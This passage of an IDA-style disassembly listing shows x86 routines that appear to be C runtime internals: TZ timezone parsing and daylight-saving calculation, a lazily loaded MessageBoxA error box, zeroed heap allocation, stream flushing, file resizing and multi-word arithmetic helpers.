					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28B0952h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600B62h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC40, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC40

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB88, ebp
		mov	dword_43D430, ebx
		mov	dword_43D420, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB90
		call	near ptr 2870000h
		nop
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB90
		mov	ecx, dword_4DBBE4
		imul	eax, 3Ch
		cmp	word_4DBBD6, bp
		push	1
		pop	edx
		mov	dword_43D388, eax
		mov	dword_4DBB88, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D388, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBC2A, bp
		jz	short loc_424887
		mov	eax, dword_4DBC38
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D38C, edx
		imul	eax, 3Ch
		mov	dword_43D390, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D38C, ebp
		mov	dword_43D390, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D414
		push	ebx
		push	offset dword_4DBB94
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D414
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D414
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D418
		push	ebx
		push	offset dword_4DBBE8
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D418
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC3C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC3C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC3C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D414
		call	sub_41B5F0
		mov	eax, off_43D414
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D388, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D388, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D38C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D418
		call	sub_41B5F0
		mov	eax, off_43D418
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D418
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D38C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D420
		jnz	short loc_424A7C
		cmp	eax, dword_43D430
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB88, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC36
		push	ecx
		cmp	word_4DBC28, di
		movzx	ecx, word_4DBC34
		push	ecx
		movzx	ecx, word_4DBC32
		push	ecx
		movzx	ecx, word_4DBC30
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBC2C
		push	edi
		push	ecx
		movzx	ecx, word_4DBC2E
		push	ecx
		movzx	ecx, word_4DBC2A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBC2E
		push	ecx
		push	edi
		movzx	ecx, word_4DBC2A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBE2
		add	esp, 2Ch
		cmp	word_4DBBD4, di
		push	eax
		movzx	eax, word_4DBBE0
		push	eax
		movzx	eax, word_4DBBDE
		push	eax
		movzx	eax, word_4DBBDC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBD8
		push	edi
		push	eax
		movzx	eax, word_4DBBDA
		push	eax
		movzx	eax, word_4DBBD6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBDA
		push	eax
		push	edi
		movzx	eax, word_4DBBD6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D424
		mov	eax, dword_43D434
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D428
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D438
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D438[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D46C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D43C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D470[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D438[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D46C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D424, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D420, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D428, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D434, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D390
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D438, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D438, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D438, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D434, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D430, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEC1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9E2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC44, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC44, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC48, eax
		call	esi
		mov	dword_4DBC4C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC48
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC4C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC44


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFE0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9D4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFE4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9DC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC80, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC78
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC78
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCDA0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB95C, 5
		jnz	short loc_424FDC
		mov	dword_4DB958, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB958, 0Dh
		nop
		call	near ptr 26908E1h
		mov	dword_4DB95C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB958, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

